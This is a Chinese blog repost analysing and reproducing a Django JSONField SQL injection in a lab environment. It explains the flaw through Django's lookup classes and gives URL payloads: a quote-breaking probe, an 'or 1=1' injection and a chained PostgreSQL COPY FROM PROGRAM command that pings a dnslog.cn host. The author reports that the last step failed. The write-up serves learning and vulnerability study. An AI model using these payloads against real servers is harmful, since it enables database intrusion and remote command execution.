| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> Python知识库 -> Django JSONField SQL注入漏洞 复现 & 原理分析 -> 正文阅读 |
|
[Python知识库]Django JSONField SQL注入漏洞 复现 & 原理分析 |
关于这个漏洞前几天看了很多的文章,其实大部分payload是一样的,都是如何去构造,或者去命令执行复现一下,我一开始也是这样去做的,但是这个漏洞是怎么形成的,对我来说可能一知半解,或者说完全不了解,在后面学习的过程中感觉吃力又去补习了别的知识,比如Django的两个基类,ArrayField、JSONField,Json.objects.filter()和QuerySet相关的知识,包括ORM注入等等 1/漏洞原理PostgreSQL、SQLite3、MySQL、Oracle,在大部分情况下,以上四种数据库都能与Django框架配合工作,Django在对PostgreSQL提供了强大的功能同时,在成本、特性、速度和稳定性方面都做的比较平衡,当然官方也建议该框架配合Postgresql一起使用 相比较MySQL,PostgreSQL支持多种高级数据类型,比如array,MySQL只支持标准类型。同时PostgreSQL支持P地址数据类型、常量、函数调用、JSON和其他NoSQL功能,这让这个关系型数据库也拥有了一些NoSQL的特点,MySQL支持JSON不过不支持其他的NoSQL功能,当然PostgreSQL不只是一个关系型数据库,还支持非关系数据类型JSON
在Django的model.py中定义JSONField:
如何进行查找的呢?在Django中有两个基类,分别是Lookup(用于查找字符串)和Transform(用于转换字段),如以下的例子 参考连接:Lookup API reference | Django documentation | Django (djangoproject.com)
以上可以用sql语句理解为where 'users' lookup Transform 'value' ????????????????????????????? 也就是select * from xxx where users.username = 'value' 到这里,JSONField用的KeyTransformFactory类返回KeyTransform对象,transform和lookup需要一个名为as_sql的方法用来生成SQL语句,如下
也就是 ?
当key_name为用户可控时,因此闭合该语句尝试回显进行注入,造成sql注入 但是通常对于detail__author来说,用户无法去控制只能控制其中的值,也就是ganyu,除非我们可以控制filter方法的参数名,比如
2/漏洞复现复现环境 直奔主题就好 URL:http://123.58.236.76:56873/admin/vuln/collection/ payload: http://123.58.236.76:56873/admin/vuln/collection/?detail__a%27b=123 实则,执行的语句为
其实做到这里,flag也就出来了 我们可以尝试让它闭合为真 payload: http://123.58.236.76:56873/admin/vuln/collection/?detail__a%27)%3d%271%27%20or%201%3d1--%20 再结合CVE-2019-9193尝试进行命令注入,构造url如下 利用网址:DNSLog Platform payload: http://123.58.236.76:56873/admin/vuln/collection/?detail__a')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping 3lagr6.dnslog.cn 芜湖,寄了,理应是可以在dnslog.cn中检测到流量的 3/总结自己还是太菜了 |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/15 15:40:48- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |